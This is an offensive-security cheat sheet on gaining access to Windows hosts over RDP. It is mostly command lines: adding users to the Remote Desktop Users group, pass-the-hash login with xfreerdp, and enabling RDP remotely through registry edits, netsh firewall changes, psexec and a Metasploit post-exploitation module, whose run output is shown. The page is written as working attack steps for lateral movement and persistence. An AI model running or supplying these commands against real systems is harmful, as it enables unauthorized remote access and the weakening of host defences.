Remote Desktop
How to use RDP (Remote desktop protocol) to gain access to a host, rdp runs on port 3389 by default in windows.
A user need to be part of the "Remote Desktop Users" in order to login to the host via RDP.
To add user to the "Remote Desktop users" run:
net localgroup "Remote Desktop Users" UserLoginName /add
rdesktop
Remote Desktop for windows with share and 85% screen:
rdesktop -u username -p password -g 85% -r disk:share=/tmp/share 10.10.10.10
xfreerdp
Login using hash:
Xfreerdp /u:admin /d:win2012 /pth:[hash] /v:192.168.0.1
When CredSSP is required:
xfreerdp --plugin rdpdr --data disk:home:/tmp -- -f -u john 192.168.0.44
To exit press 'ctrl+alt+enter'
remmina
install remmina:
apt install remmina
have a rdp client by default which you can use to connect.
Enable RDP
Enable rdp from registry
reg add "\\host\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Enable from netsh
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
Enable using psexec
psexec \\host reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
/usr/local/bin/psexec.py user:[email protected] reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Enable using metasploit
use post/windows/manage/enable_rdp
msf5 post(windows/manage/enable_rdp) > run
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[+] RDP Service Started
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20200520112125_default_10.50.30.103_host.windows.cle_789147.txt
[*] Post module execution completed
msf5 post(windows/manage/enable_rdp) >
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